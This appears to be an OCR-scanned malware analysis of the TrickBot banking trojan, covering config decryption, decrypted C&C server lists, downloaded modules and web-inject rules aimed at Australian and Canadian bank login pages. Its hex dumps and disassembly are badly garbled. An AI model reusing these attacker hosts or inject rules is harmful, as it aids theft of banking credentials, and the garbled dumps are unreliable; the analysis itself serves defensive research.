a-- || RCData 00011420 |Co 02 00 00 Bl 57 &1 FF EF 1F 34 BB 5F 3C 7E 01 = Wa 4 <~
: 000114B0 4D 4B 1B & R M
000114C0 ER 4C BA D3 Z]pF kKH\ 1 E
00011400 40 5F BS E& 19 7F BR C3 &F DO 87 SE n#_ [ o -
000114E0 |39 FO E3 06 06 44 E4 C2 52 26 FF 7F 46 62 93 14 |_|| 9 D zZ:z [Fb

Full decoding script you can find here:

https.//github.com/hasherezade/malware analysis/blob/master/trickbot/trick_config_decoder.
RY.

Decrypting hardcoded configuration using AES:

GE4a4c4s |1 . | MOU ERR,CLOCAL. 13
Ba484C49 || . |ADD ESP,EsC
GE4a4c4c (1. |LEA EDR, [LOCAL. =]
GE4a4c4r 1. | FUSH EDW
BE484C58 (| . |FUSH EBX

BE4E4CE]L (). |FUSH BuB
BE4E4CES (1. |PUSH Gul

BE4E4CEE (). |PUSH BuB
Ba484CET (| . |PUSH EAX
GE4a4css (1. | MOV CLOCAL. =3, ESI
BE484C05E || . |EALL DWORD PTR DS: [<&ADUVARPIZZ. CruptDecrypt»] | advapizz. Cruptlecoypt

4
ER==B8E0EEE1

Address |Hed dump ASCII

FEZ19EEZ|HE B2 A@ BA @A BS 52 BA SC 60 62 E2 EF EE &6 2E| A&...AS.<mcconf »
EEZ19EEZ | @0 BA 3C 76 &5 F2 3E 21 2@ 3@ 38 28 2@ 32 3C 2F|..<ver:18880627 -
HEEZ19EVE| Y6 65 F2 2E B0 BA 3C &7 ¥4 61 &7 2E ¥4 60 74 22| ver>..<gtagitmt2
EE=1%E22 | 3C 2F 67 74 61 67 SE BD BA 3C ¥3 65 V2 76 ¥3 2E|<-gtagr..<serwsr
EEZ19E22 |80 B 3C 73 ¥2 76 3E 29 21 2E 32 21 239 2E 32 38| ..<srwr91.219.28
EEZ19BAZ | 2E 87 97 2A 24 34 23 23C ZF ¥3 F2 F& ZE B0 BA 3C| .Friddg<ssrvi. L4
HEEZ19BES | ¥8 F2 F¥6 3E 81 39 33 2E 89 ZE 32 38 ZE 32 84 3A|=srwi193.9.28.24:
EEZ19BCE |24 34 33 3C 2F 73 F2 76 SE BO BA 3C 73 72 76 3E|d44383< srulk.  {srui
EE219E02| 88 87 2E 21 ZE 32 2@ 29 ZE 35 21 2R 24 34 33 2C|EF.1.2@9.51:443<
EEZ19BES | 2F 723 F2 76 2E BO BA 2C 73 72 F¥6 2E 21 33 28 2E|-ssrvr..4srulrl3B8.
HEEZ19EF2 |32 38 31 2E 24 34 2E 22 22 30 34 24 23 3C 2F 72| 2681.44.28:443{ -5
EE=1206E2 | F¥2 ¥6 SE B0 BA 3C F3 72 V6 3E 31 328 328 2E 31 31| rwr..<srwrl88.11
EEZ12C15| 36 2E 32 233 2E 39 38 2R 24 34 33 3C 2F 73 F2 6| 6.23.98:443{-s0u0
EEz12CE3 | 8E B0 BA 2C Y3 Y2 F6 3E 21 28 24 2E 22 35 98 Z2E| k. .<scwrlBd, 250,
AEEZ19C23| 81 88 38 2E 21 39 24 3R 24 34 33 3C ZF 73 F2 F6| 138.194:443{ srv
EE=212C45 | 3E B0 BA 3C 73 ¥2 F6 3E 24 36 2E 32 32 ZE 32 31| k.. <srwidb,.2R.21
EEZ19CE2| 81 2E 32 24 SA 34 24 23 SC 2F ¥3 F2 Y5 SE @D BA|1.34:d443< cruk. .
EEZ19CEZ |30 73 F2 F6 ZE 36 38 2E 21 37 29 2E 22 32 24 2E|<srvrE8. 179,234,
EEZ19C72 |36 39 3A 24 24 33 3C 2F 7¥3 72 ¥6 2E B0 BA 3C 72| A9:443< sruk..is
EE=12CE2| Y2 ¥6 3E 35 2E 31 32 2E 32 38 2E 28 2A 34 34 23| rw»5.12.28.8:443
EE=12022 | 3C 2F F¥3 F2 V6 3E B0 BA 3C 73 F2 76 2E 33 36 2E|<rssrwr..dsruwiE6.
EEZ19CAZ| 88 97 2E 21 27 96 2E 26 SA 34 24 23 2C 2F ¥3 F2|EV.1v6.6:443< =0
EEZ139CES| Y6 SE BO BA SC 73 72 76 SE 33 37 2E 21 2@ 39 2E|wr..4srwr3F. 189,
EEZ19CCE| 85 92 2E 3F 85 3A 24 34 33 3C 2F 73 7¥2 76 3E BD|52.75:d443< 50wy,
EE219C02 | @A 3C F3 F2 76 SE 32 2F ZE 32 28 22 ZE 31 33 31| .{sruw>2F.202.151
EEZ19CES|2E 29 37 2A 24 34 33 2C 2F 72 F2 76 2E B0 BA 2C| . 974434 200k, o4
HEZ19CF2 | 2F 73 65 P2 V6 ¥3 3E BD B 3C 61 PS5 ¥4 6F P2 P5| -serusk..<autoru
EE=12052 | 6E 3E B0 @A 3C 60 &6F &4 V5 6C 65 28 &E 61 &0 E5|n>..<module name
EE=212012| 30 22 F3 72 73 74 65 60 69 6E 66 EF 22 28 63 74| ="susteminfo™ ct
EEz120z23 |60 30 22 4F &5 74 B3 F2 ¥3 74 65 60 49 6E 66 E&F| l=""GetSustemInfo
EE=z19028| 22 2F 3E B0 BA 3C 60 &6F &4 75 6C 65 28 6E 61 60| " i..<module nam
EE=z19045 | 65 30 22 69 GE 6A 65 63 74 44 6C 6C 22 2F 3E 80| e="injectDl L™ .
EEZ19052 @A 3C 2F 61 ¥5 74 6F F2 ¥5 6E 3E B0 @A 3C 2F E0| .<rautorun’..< m
5219052 | 63 63 BF 6E €6 SE BE BS 99 32 E9 93 5B C9 1L D4| coonfrAsCauilrud

In case if particular input could not be decrypted via AES, the attempt is made to decrypt it
via ECC.:
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https://github.com/hasherezade/malware_analysis/blob/master/trickbot/trick_config_decoder.py

™ E]
BOLBLT A moy edx, [ebp+dwbatalen]
B4 B4 THD push ebx
BBLYBYTHE push BBODR ; Mlgid = CALG_SHA_38Y4
BBy BLTEI lea eax, [ebpsuwar_14]
BBYBYTSE push Bax ; int
BB BLTST mov eax, [ebpepbbata]
BOLBLTSA lea ecx, [ebp+lpHem]
L BOYBLTSD push BCX ; int
B4 BLTSE push edx ; dubatalen
B4 BLTSF push Bax : pbData
BOYBLTGE call _hash_data
BOLBLTES mov ebx, [ebp+lpHen]
BOLBLTGR test Bax, eax
BBLBYTOR jz loc_kB&TFA
h J
]
BOLB47TE push Es5l
BBLB4TT1 push Es5l
BOLB4TT2 push offset aEcdsa_pd@h ; “ECDSA_Pagh”
BOLBYTTT lea ecx, [ebpruvar_#]
BOLB4TTR push ECX
BBLBLTTE call dword_K137F 0
BBLANTEY test Pax, eax
BBLBNTRI s short loc_ 4O4TFA
h J
FPIE]
BBLBLETES mov eax, [edi]
BOLBLETET mov edx, [eax+h]
POYBLTEA mov eax, [eax]
BB4BLTRC push esi
BBLBNTED push edx
BOLBLTEE mou edx, [ebp+uar 8]
aBuBans?1 push eax
aouEN7I2 lea eck, [ebpruar_h]
BBLBNTIS push BCH
BBLBNTDE push ofFfset aEc:puDlithlun 5 "ECCPUBLICELDE™

Trick Bot’s configuration

Similarly to Dyreza, TrickBot uses configuration files, that are stored encrypted.

Trick Bot’'s executable comes with a hardcoded configuration, that, during execution is
substituted by its fresh version, downloaded from the C&C and saved in the file config.conf.
Below you can see the decrypted content of the hardcoded one:

This file contains bidirectional Unicode text that may be interpreted or compiled differently
than what appears below. To review, open the file in an editor that reveals hidden Unicode

characters.

Learn more about bidirectional Unicode characters

Show hidden characters

<mcconf>

<ver>1000002</ver>

<gtag>tmt2</gtag>

<servs=>
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https://github.co/hiddenchars
http://10.10.0.46/%7B%7B%20revealButtonHref%20%7D%7D

<srv>91.219.28.77:443</srv>

<srv>193.9.28.24:443</srv>

<srv>37.1.209.51:443</srv>

<srv>138.201.44.28:443</srv>

<srv>188.116.23.98:443</srv>

<srv>104.250.138.194:443</srv>

<srv>46.22.211.34:443</srv>

<srv>68.179.234.69:443</srv>

<srv>5.12.28.0:443</srv>

<srv>36.37.176.6:443</srv>

<srv>37.109.52.75:443</srv>

<srv>27.208.131.97:443</srv>

</servs>

<autorun>

<modulename="systeminfo" ctl="GetSystemInfo"/>

<modulename="injectDII"/>

</autorun>

</mcconf>
view raw
mcconf.xml

hosted with ® by GitHub

Compare it with a downloaded one — version number got incremented, and some C&Cs have

changed:

This file contains bidirectional Unicode text that may be interpreted or compiled differently
than what appears below. To review, open the file in an editor that reveals hidden Unicode

characters.
Learn more about bidirectional Unicode characters
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https://gist.github.com/hasherezade/0c464f970018f509444243b67a0c5447/raw/8efd199d3cae8ed26623e606bfb4cf08daf45ea3/mcconf.xml
https://gist.github.com/hasherezade/0c464f970018f509444243b67a0c5447#file-mcconf-xml
https://github.com/
https://github.co/hiddenchars

Show hidden characters

<mcconf>

<ver>1000003</ver>

<gtag>tt0002</gtag>

<servs>

<srv>91.219.28.77:443</srv>

<srv>193.9.28.24:443</srv>

<srv>37.1.209.51:443</srv>

<srv>138.201.44.28:443</srv>

<srv>188.116.23.98:443</srv>

<srv>104.250.138.194:443</srv>

<srv>46.22.211.34:443</srv>

<srv>68.179.234.69:443</srv>

<srv>5.12.28.0:443</srv>

<srv>36.37.176.6:443</srv>

<srv>37.109.52.75:443</srv>

<srv>84.232.251.0:443</srv>

</servs>

<autorun>

<module name="systeminfo" ctl="GetSystemInfo"/>

<module name="injectDII"/>

</autorun>

</mcconf>
view raw
mcconf2.xml

hosted with ® by GitHub
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http://10.10.0.46/%7B%7B%20revealButtonHref%20%7D%7D
https://gist.github.com/hasherezade/0c464f970018f509444243b67a0c5447/raw/8efd199d3cae8ed26623e606bfb4cf08daf45ea3/mcconf2.xml
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Notice that names of the listed modules (systeminfo, injectDIl) are corresponding to those,
that we found in the folder Modules during the behavioral analysis. It is due to the fact, that

this configuration gives instructions to the bot, and orders it to download particular elements.

Some of the requests result in downloading additional pieces of configuration. Example of
the response, after being decrypted by the bot:

This file contains bidirectional Unicode text that may be interpreted or compiled differently
than what appears below. To review, open the file in an editor that reveals hidden Unicode
characters.

Learn more about bidirectional Unicode characters

Show hidden characters

<servconf>

<expir>1480550400</expir>

<plugins>

<psrv>80.79.114.179:443</psrv>

</plugins>

</servconf>
view raw
servconf.xml

hosted with ® by GitHub
Modules

TrickBot is a persistent botnet agent — but its main power lies in the modules, that are DLLs
dynamically fetched from the C&C. During the analyzed session, the bot downloaded two
modules.

e getsysinfo — used for general system info gathering
« injectDIl — the banker module, injecting DLLs in target browsers in order to steal
credentials

List of the attacked browser is hardcoded in the injectDII32.dll:
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1L FALSE
EATE_THREAD UM _OFERATIONUM_RERDIVM_WRITE ! QUERY_IMFORMAT IOM

ASCIT "iedplore

RSCIT "Fire

It case of the Dyreza, this attack was performed directly from the main bot, rather than from
the added DLL.

Details of the attacked target are given in an additional configuration file, stored in the folder:
Modules\injectDII32_config. Below we can see its decrypted form revealing the attacked
online-banking systems:

This file contains bidirectional Unicode text that may be interpreted or compiled differently
than what appears below. To review, open the file in an editor that reveals hidden Unicode
characters.

Learn more about bidirectional Unicode characters

Show hidden characters

<igroup>

<dinj>

<Im>*/onlineserv/CM*</Im>
<hl>91.219.28.103/response.php</hl>
<pri>100</pri>

<sq>1</sq>

</dinj>
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</igroup>

<igroup>

<dinj>

<Im>*ibanking.stgeorge.com.au/ibank/loginPage.action*</Im>

<hl>91.219.28.103/response.php</hl>

<pri>100</pri>

<sg>1</sg>

</dinj>

</igroup>

<igroup>

<dinj>

<Im>*ib.nab.com.au/nabib/index.jsp*</Im>

<hl>91.219.28.103/response.php</hl>

<pri>100</pri>

<sg>1</sg>

</dinj>

</igroup>

<igroup>

<dinj>

<Im>*banking.westpac.com.au/wbc/banking/handler*</Im>

<hl>91.219.28.103/response.php</hl>

<pri>100</pri>

<sg>1</sq>

</dinj>

</igroup>

<igroup>
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<dinj>

<Im>*anz.com/IBAU/BANKAWAY TRAN*</Im>

<hl>91.219.28.103/response.php</hl>

<pri>100</pri>

<sq>1 </sq>

</dinj>

<dinj>

<Im>*anz.com/INETBANK/login.asp*</Im>

<hl>91.219.28.103/response.php</hl>

<pri>100</pri>

<sqg>1 </sq>

</dinj>

</igroup>

<igroup>

<dinj>

<Im>*cibconline.cibc.com/olbtxn/authentication/*.cibc*</Im>

<hl>91.219.28.103/response.php</hl>

<pri>100</pri>

<sqg>1 </sq>

</dinj>

</igroup>
view raw

dinj.xml

hosted with ® by GitHub
The instances of svchost.exe, observed during the behavioral analysis, are used to deploy
particular modules.

Below — the module injectDIl (marked sinj) in memory of svchost:
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[B] Dump - 10000000..10081FFF = [@ [ | | [B] Dump - 00130000..00130FFF = [= [ =
BE19E6EE F2 &9 6E GA| 60 6P A0 PE|0E B0 O B66) 05 BE B0 OB Sinj....eccoae..

[D] Dump - 00020000..00080FFF [F=

o . i
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and the module systeminfo (marked GetSysteminfo) in memory of the another instance of
svchost:

E‘ Dump - 10000000..10007FFF o || =R

1AEEEAGE 40 SA 96 OO A2 B8 G0 0@| B4 60 BE B3| FF FF G8 GO MZE.w.
lacaaE1a B2 =
1AEEEE2E A0

@ Dump - 00020000..00020FFF o= || B e

188938?9 SE A —'SBL—'Th BAGZEAEA 47 65 74 53|79 73 74 65|60 43 6E 66| 6F DA A@ BB GetSustenInfo. o~
cl 29 73 208 7Ol 72 6F &7 72|el &0 20 62| el ©E €E &F is progran canno 22322312 32 EE 33 23 23 23 22 32 32 33 33 33 23 gg gg A LTI

74 28 e2 65|28 72 7L GE( 20 60 cE 20(44 4F 52 20 £ be run in DOS

78 60 EF £4 £5|ZE B0 G0 OA| 24 GO GF 00|09 B G5 5O mode,...8ie.i...
o e e s s
LT
B2 04 36 OF o1)06 48 48 21|04 36 CE 01108 48 40 31 JemCTNICHErLEN.C e B S B T S -
EG O4 26 09 51|OF 4E 4A 51|04 26 C3 21|EI 4E 4A 51 dé! (™NICPERCENIC || 2oocons oo oo oo ool ba oo oo
donets fE 41 12 o100 4 46 51\00 d€ 48 31|80 4E 46 91 sstaCNCEnC | BSSRB0S0 02 87 62 55|00 Gb o
GoRE0R FA 63 34 51|DC 4E 4R 51(C2 IC CA 51|09 4E 4R 51 ~ +ACaNJChUTHIC || B50E0a98 o8 o9 a9 B9l 09 o8 b
GEEDES C3 1C 05 91(DC 4E 4A 51| C3 1C OB 1|0C 4E 4A 31 b ECaNIC WBCaMIC || SoSCHAES G0 B0 G5 o8| o8 oo on
BEORFA 52 63 63 &4(00 4E 4A 51|68 B8 6O A5 65 0D 0O 68 Rl ek (e B e B
HSA) i 68 e | ce L o o BRGCHATD B8 0O 6B GO|60 B8 O
I @ @ O R T R BEECABEG 0O 0O 0O 66| 0F 6O GO
e @1 28 0 O o B BBOCHASH DO 0O 0 65| 0F BB GO
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BEEL4E B5 BB BE G0| 6B B8 BA GA BRRCAARR FR GR AR GGl GA GR GR

Trick Bot have many similarities with Dyreza, that are visible at the code design level as well
as the communication protocol level. However, comparing the code of both, shows, that it
has been rewritten from scratch.

So far, Trick Bot does not have as many features as Dyreza bot. It may be possible, that the
authors intentionally decided to make the main executable lightweight, and focus on making
it dynamically expendable using downloaded modules. Another option is that it still not the
final version.

One thing is sure — it is an interesting piece of work, written by professionals. Probability is
very high, that it will become as popular as its predecessor.

Appendix

http://www.threatgeek.com/2016/10/trickbot-the-dyre-connection.html — analysis of the
TrickBot at Threat Geek Blog
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This was a guest post written by Hasherezade, an independent researcher and programmer
with a strong interest in InfoSec. She loves going in details about malware and sharing threat
information with the community. Check her out on Twitter @hasherezade and her personal
blog: https://hshrzd.wordpress.com.
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